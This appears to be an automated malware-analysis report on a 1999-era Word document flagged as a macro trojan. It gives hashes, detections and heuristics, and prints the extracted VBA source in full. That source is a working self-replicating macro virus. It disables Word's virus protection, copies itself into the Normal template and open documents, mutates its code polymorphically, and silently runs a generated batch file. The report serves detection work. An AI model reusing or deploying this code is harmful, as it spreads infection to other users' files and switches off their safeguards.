Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4557079f8e5e8d1a…

MALICIOUS

Office (OLE)

60.5 KB Created: 1999-03-10 00:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f366c645aded1ac64d344fe72d112f6 SHA-1: 87b6980294fabc9db87d801e9bb82afcdc4513d7 SHA-256: 4557079f8e5e8d1aea836c876a474b48c0382a922faf2ad01a9716f9167b3747
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Word document containing VBA macros. The 'OLE_VBA_SHELL' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics indicate that the VBA code uses the Shell() function to execute commands, specifically triggered by the 'Document_Open' auto-execution event. This is a common technique for downloading and executing further malicious content. The ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Ded-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ded-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14097 bytes
SHA-256: 220097ccaaf154cc6428d6161705e2537b3cc25919f8bd2c07eb79cd1bdd98b3
Detection
ClamAV: Doc.Trojan.Ded-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
'Swlabs 99!

On Error GoTo skam

Options.VirusProtection = False

SWL
ABS99

skam:
End Sub
 
'Copy From Normal to Active
Private Sub SWL()
If Not ActiveDocument.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    For i = 1 To NormalTemplate.VBProject.VBComponents(1).CodeModule.CountOfLines
        d = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
        If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
            While Mid(d, Len(d) - 1, 2) = " _"
                i = i + 1
                d = Left(d, Len(d) - 1) & NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
            Wend
            d = e(d)
            ActiveDocument.VBProject.VBComponents(1).CodeModule.InsertLines i * 2, d
        End If
    Next i
    ActiveDocument.SaveAs AddToRecentFiles:=False
End If
End Sub

'Copy From Active to Normal
Private Sub ABS99()
If Not NormalTemplate.VBProject.VBComponents(1).CodeModule.Find("Document_Close", 1, 1, 1000, 1000, False, False) Then
    f (NormalTemplate.FullName)
    For i = 1 To ActiveDocument.VBProject.VBComponents(1).CodeModule.CountOfLines
        d = ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
        If Len(d) > 0 And Not d = " " And Not d = " _" And Not d = "" And Not Mid(d, 1, 1) = "'" Then
            While Mid(d, Len(d) - 1, 2) = " _"
                i = i + 1
                d = Left(d, Len(d) - 1) & ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(i, 1)
            Wend
            d = e(d)
            NormalTemplate.VBProject.VBComponents(1).CodeModule.InsertLines i * 2, d
        End If
    Next i
    NormalTemplate.Save
End If
End Sub

'Make the Code Polymorphic
Private Function e(aString) As String
For i = 1 To Len(aString) - 1
    While Mid(aString, i, 2) = "  "
        aString = Left(aString, i) & Right(aString, Len(aString) - i - 1)
    Wend
    If Mid(aString, i, 1) = "." Then
        If Not Mid(aString, i - 1, 1) = Chr$(34) And Not Mid(aString, i + 1, 1) = Chr$(34) And Int(3 * Rnd) = 1 Then
            If Not Mid(aString, i + 1, 1) = Chr$(34) Then
                e = Left(aString, i - 1) & ". _" & Chr$(13) & Right(aString, Len(aString) - i)
                For j = 1 To Int(15 * Rnd)
                    e = " " & e
                Next j
                Exit Function
            End If
        End If
    Else
        If Mid(aString, i, 1) = " " And Int(3 * Rnd) = 1 And i > 1 Then
            If Not Mid(aString, i + 1, 1) = Chr$(34) And Not Mid(aString, i - 1, 1) = Chr$(34) Then
                e = Left(aString, i - 1) & " _" & Chr$(13) & Right(aString, Len(aString) - i)
                For j = 1 To Int(15 * Rnd)
                    e = " " & e
                Next j
                Exit Function
            End If
        End If
    End If
Next i
e = aString & Chr$(13) & "'" & (100 * Rnd)
Count = Int(15 * Rnd)
For j = 1 To Count
    e = " " & e
Next j
End Function

' Undo Read Only in the File
Private Sub f(fName)
If GetAttr(fName) And vbReadOnly Then
    Open Dir(fName) & ".bat" For Append As #1
        Print #1, "Attrib " & "-r " & Chr$(34) & fName & Chr$(34)
        Print #1, "del " & Chr$(34) & Dir(fName) & ".bat" & Chr$(34)
    Close #1
    shellResult = Shell(Dir(fName) & ".bat", vbHide)
End If
End Sub



' Processing file: /opt/analyzer/scan_staging/3d26dd3b2f0a470497c01a813663e335.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 34045 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Close())
' Line #1:
' 	QuoteRem 0x0000 0x000A "Swlabs 99!"
' Line #2:
' Line #3:
' 	OnError id_0348 
' L
... (truncated)